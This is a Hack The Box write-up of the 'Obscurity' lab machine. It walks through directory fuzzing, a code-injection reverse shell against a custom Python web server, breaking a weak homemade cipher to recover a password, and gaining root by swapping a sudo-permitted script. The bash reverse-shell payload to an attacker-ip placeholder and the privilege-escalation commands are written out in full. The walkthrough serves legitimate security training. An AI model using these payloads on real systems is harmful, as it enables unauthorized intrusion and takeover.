Obscurity

Security Through…

HackTheBox Obscurity Machine Info Card

Obscurity is a medium difficulty machine running Linux. It tests your knowledge in OSINT, Python script exploitation and basic privilege escalation.

Be sure to checkout the Basic Setup section before you get started.

Enumeration

Like always, enumeration is our first port of call. Let’s take a look at the machine and see what we are dealing with.

Portscan

portscan obscurity.htb
Grabbing ports...
Ports grabbed!
Scanning...
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-20 02:53 PST
Nmap scan report for obscurity.htb (10.10.10.168)
Host is up (0.25s latency).

PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 33:d3:9a:0d:97:2c:54:20:e1:b0:17:34:f4:ca:70:1b (RSA)
|   256 f6:8b:d5:73:97:be:52:cb:12:ea:8b:02:7c:34:a3:d7 (ECDSA)
|_  256 e8:df:55:78:76:85:4b:7b:dc:70:6a:fc:40:cc:ac:9b (ED25519)
80/tcp   closed http
8080/tcp open   http-proxy BadHTTPServer
9000/tcp closed cslistener

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.46 seconds

Here we see that port 80 is closed. However, port 8080 is open and is running a webserver we haven’t heard of before BadHTTPServer. We also have ssh on port 22. Port 9000 is open and can potentially be php-fpm (PHP FastCGI Process Manager) which runs on that port by default.

Domain

Taking a look at the domain we come across the following page:

Obscurity Main Screenshot

We see that this company is developing their own software including a custom written web server (which at a guess is BadHTTPServer), unbreakable encryption algorithm and a more secure replacement to SSH! Interesting…

Further down the page under the Development section we see a notice:

Message to server devs: the current source code for the web server is in 'SuperSecureServer.py' in the secret development directory.

So now we have a pretty good idea as to what we are looking for!

Directory Bruteforce

Trying standard directory bruteforce tools like GoBuster and Dirb fall flat. When that happens we can move over to either Burp Suite or wfuzz.

Using Burp Suite, from the Proxy tab we will intercept the main page and then right-click Send to Intruder:

Obscurity Burp Intercept Screenshot

We then go to the Intruder tab, ensure the attack type is Sniper. We will replace the GET request with /dir/SuperSecureServer.py. Highlighting dir we can then create our payload marker by clicking the Add button on the right:

Obscurity Burp Intruder Screenshot

Going to the Payloads tab we will add our directory wordlist using the Load button:

Obscurity Burp Payloads Screenshot

Then we simply click Start Attack where we should find the file we are looking for:

Obscurity Burp Attack Screenshot

Foothold

Now let’s download the file and see what we have got:

wget http://obscurity.htb/develop/SuperSecureServer.py

Taking a look at the file we see that the exec() function is being used which we should be able to exploit.

To help us debug the server we can run it locally.

In the root directory where we downloaded the server we will create the DocRoot directory that we see in the code and then create the index and error files:

$ mkdir DocRoot
$ mkdir DocRoot/errors
$ echo "Hello World!" > DocRoot/index.html
$ echo "404 Not Found!" > DocRoot/errors/404.html
$ echo "500 Internal Error!" > DocRoot/errors/500.html

Add the following to the bottom of the script:

startServer = Server("127.0.0.1",8081)
startServer.listen

And then execute the script accessing it via http://127.0.0.1:8081:

python3 SuperSecureServer.py

We can debug a lot easier by taking a few lines from the serveDoc function to see how we can exploit exec(info.format(path)). Because the info variable is a string and the path variable will be added to that string with format() we will want to concatenate our operating system command so it is executed, like so: ' + __import__("os").system("/bin/bash -c 'bash -i >& /dev/tcp/<attacker-ip>/1234 0>&1'") + '.

We also see that urllib.parse.unquote() is being used to replace %xx escapes by their single-character equivalent so we can use URL encoding.

Let’s test the end result in the Python interactive shell using code from the server script to see if we get the output we desire:

python3
Python 3.7.5 (default, Oct 27 2019, 15:43:29) 
[GCC 9.2.1 20191022] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> path = "%27%20%2B%20__import__%28%22os%22%29.system%28%22%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F<attacker-ip>%2F1234%200%3E%261%27%22%29%20%2B%20%27"
>>> path = urllib.parse.unquote(path)
>>> print(info.format(path))
output = 'Document: ' + __import__("os").system("/bin/bash -c 'bash -i >& /dev/tcp/<attacker-ip>/1234 0>&1'") + ''

That’s looking quite nice! Now we can test this locally since we have the server running. We see that our command is executed.

Let’s grab a shell on obscurity.

We setup our listener:

nc -nlvp 1234

And then execute our payload:

curl http://obscurity.htb:8080/%27%20%2B%20__import__%28%22os%22%29.system%28%22%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F<attacker-ip>%2F1234%200%3E%261%27%22%29%20%2B%20%27

Back at our listener we should see a connection:

Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.10.168.
Ncat: Connection from 10.10.10.168:39524.
www-data@obscure:/$ whoami
www-data

From here we can upgrade our shell and go get the user flag!

User

First things first let’s see what users are on this machine:

ls -l /home
total 4
drwxr-xr-x 7 robert robert 4096 Dec  2 09:53 robert

Looks like we will be wanting to take control of robert’s account but let’s also keep an eye out for root privilege escalation too just in case.

Noticing the permission of robert’s home folder we can navigate to it and list the contents:

ls -l
total 24
drwxr-xr-x 2 root   root   4096 Dec  2 09:47 BetterSSH
-rw-rw-r-- 1 robert robert   94 Sep 26 23:08 check.txt
-rw-rw-r-- 1 robert robert  185 Oct  4 15:01 out.txt
-rw-rw-r-- 1 robert robert   27 Oct  4 15:01 passwordreminder.txt
-rwxrwxr-x 1 robert robert 2514 Oct  4 14:55 SuperSecureCrypt.py
-rwx------ 1 robert robert   33 Sep 25 14:12 user.txt

Here we see that we have the mentioned projects on the website BetterSSH and what I am assuming will be the encryption algorithm in SuperSecureCrypt.py.

The BetterSSH directory is owned by root so that’s a no go. We also see a potential way to root but more on that later!

Let’s take a look at SuperSecureCrypt.py:

import sys
import argparse

def encrypt(text, key):
    keylen = len(key)
    keyPos = 0
    encrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr + ord(keyChr)) % 255)
        encrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return encrypted

def decrypt(text, key):                                                                                                                                                                       
    keylen = len(key)
    keyPos = 0
    decrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr - ord(keyChr)) % 255)
        decrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return decrypted

parser = argparse.ArgumentParser(description='Encrypt with 0bscura\'s encryption algorithm')

parser.add_argument('-i',
                    metavar='InFile',
                    type=str,
                    help='The file to read',
                    required=False)

parser.add_argument('-o',
                    metavar='OutFile',
                    type=str,
                    help='Where to output the encrypted/decrypted file',
                    required=False)

parser.add_argument('-k',
                    metavar='Key',
                    type=str,
                    help='Key to use',
                    required=False)

parser.add_argument('-d', action='store_true', help='Decrypt mode')

args = parser.parse_args()

banner = "################################\n"
banner+= "#           BEGINNING          #\n"
banner+= "#    SUPER SECURE ENCRYPTOR    #\n"
banner+= "################################\n"
banner += "  ############################\n"
banner += "  #        FILE MODE         #\n"
banner += "  ############################"
print(banner)
if args.o == None or args.k == None or args.i == None:
    print("Missing args")
else:
    if args.d:
        print("Opening file {0}...".format(args.i))
        with open(args.i, 'r', encoding='UTF-8') as f:
            data = f.read()

        print("Decrypting...")
        decrypted = decrypt(data, args.k)

        print("Writing to {0}...".format(args.o))
        with open(args.o, 'w', encoding='UTF-8') as f:
            f.write(decrypted)
    else:
        print("Opening file {0}...".format(args.i))
        with open(args.i, 'r', encoding='UTF-8') as f:
            data = f.read()

        print("Encrypting...")
        encrypted = encrypt(data, args.k)

        print("Writing to {0}...".format(args.o))
        with open(args.o, 'w', encoding='UTF-8') as f:
            f.write(encrypted)

So here we see that this script takes four flags. The script takes in a file with the -i flag, outputs to a file with the -o flag, takes in a key with the -k flag and then theres the -d flag which is decrypt mode.

In the directory we have some other files.

We have check.txt which contains:

Encrypting this file with your key should result in out.txt, make sure your key is correct!

Another file out.txt which contains:

¦ÚÈêÚÞØÛÝÝ×ÐÊßÞÊÚÉæßÝËÚÛÚêÙÉëéÑÒÝÍÐêÆáÙÞãÒÑÐáÙ¦ÕæØãÊÎÍßÚêÆÝáäèÎÍÚÎëÑÓäáÛÌ×v

Which is obviously the encrypted output.

And passwordreminder.txt which contains:

´ÑÈÌÉàÙÁÑ鯷¿k

Password reminder… hmm. This get’s us thinking. Our first thought is that we may need to reverse the encryption, but is that a rabbithole? What if the pieces are right in front of our face?

Let’s try using the files we have as keys.

To make things easier let’s alter the script slightly. To do this we will copy the contents of all the files from obscurity to our local machine.

Then in SuperSecureCrypt.py from lines 65 to 75 let’s change the code to:

    if args.d:
        check = open(args.k)
        check = check.read()

        print("Opening file {0}...".format(args.i))
        with open(args.i, 'r', encoding='UTF-8') as f:
            data = f.read()

        print("Decrypting...")
        decrypted = decrypt(data, check)

        print("Writing to {0}...".format(args.o))
        with open(args.o, 'w', encoding='UTF-8') as f:
            f.write(decrypted)

This will allow us to input our key as a file.

We know that out.txt is the encrypted file so we will use that for the -i flag. We will use the -o flag to output to a file called decrypted.txt. Now we have check.txt and passwordreminder.txt that we could use as the key. Our first thought is to use passwordreminder.txt but the content looks a lot like the encrypted out.txt file, another rabbithole?

Let’s try check.txt as the key and see what we get:

python3 SuperSecureCrypt.py -i out.txt -o decrypted.txt -k check.txt -d
################################
#           BEGINNING          #
#    SUPER SECURE ENCRYPTOR    #
################################
  ############################
  #        FILE MODE         #
  ############################
Opening file out.txt...
Decrypting...
Writing to decrypted.txt...

Let’s take a look at the output:

cat decrypted.txt                                                                  
alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalÄ

Interesting… Trying to use this as the password for user robert via ssh fails. But the fact this output is readable can’t be a coincedence.

Let’s assume for a moment that this is the key for the other encrypted file passwordreminder.txt.

May as well take a stab in the dark and give that a crack:

python3 SuperSecureCrypt.py -i passwordreminder.txt -o password.txt -k key.txt -d
################################
#           BEGINNING          #
#    SUPER SECURE ENCRYPTOR    #
################################
  ############################
  #        FILE MODE         #
  ############################
Opening file passwordreminder.txt...
Decrypting...
Writing to password.txt...

And checking the ouput:

cat password.txt                                                                       
Sec....FTW

This looks promising!

Using this as the password for ssh gives us access:

ssh robert@obscurity.htb
robert@obscurity.htbs password: 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat May  9 16:05:43 UTC 2020

  System load:  0.0               Processes:             107
  Usage of /:   45.9% of 9.78GB   Users logged in:       0
  Memory usage: 10%               IP address for ens160: 10.10.10.168
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

40 packages can be updated.
0 updates are security updates.

Last login: Mon Dec  2 10:23:36 2019 from 10.10.14.4
robert@obscure:~$ cat user.txt
e449378206....8736ada2d7

Now that we have our user.txt flag let’s take a look at what we noticed earlier.

Root

Going back to the BetterSSH directory we see more lapsed permissions:

robert@obscure:~$ ls -l BetterSSH
total 4
-rwxr-xr-x 1 root root 1805 Oct  5  2019 BetterSSH.py

What’s the bet that robert has sudo privileges to a script in that directory? Let’s see:

robert@obscure:~$ sudo -l
Matching Defaults entries for robert on obscure:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User robert may run the following commands on obscure:
    (ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

Yep! That’s our way in.

Let’s exploit the complete lack of permissions:

robert@obscure:~$ mv BetterSSH/ Pwned
robert@obscure:~$ mkdir BetterSSH
robert@obscure:~$ cd BetterSSH/
robert@obscure:~/BetterSSH$ echo "__import__('os').system('/bin/bash')" > BetterSSH.py
robert@obscure:~/BetterSSH$ sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
root@obscure:~/BetterSSH# cat /root/root.txt
512fd4429f....cde23609e3

And we have our root.txt flag!

Conclusion

This machine was a lot simpler than I thought it was going to be. The machine was very CTF like and once I got the feel of that my mindset completely changed. There was some serious rabbitholes to be had within this machine but luckily I seemed to have dodged a bullet, this time at least.

Hack The Box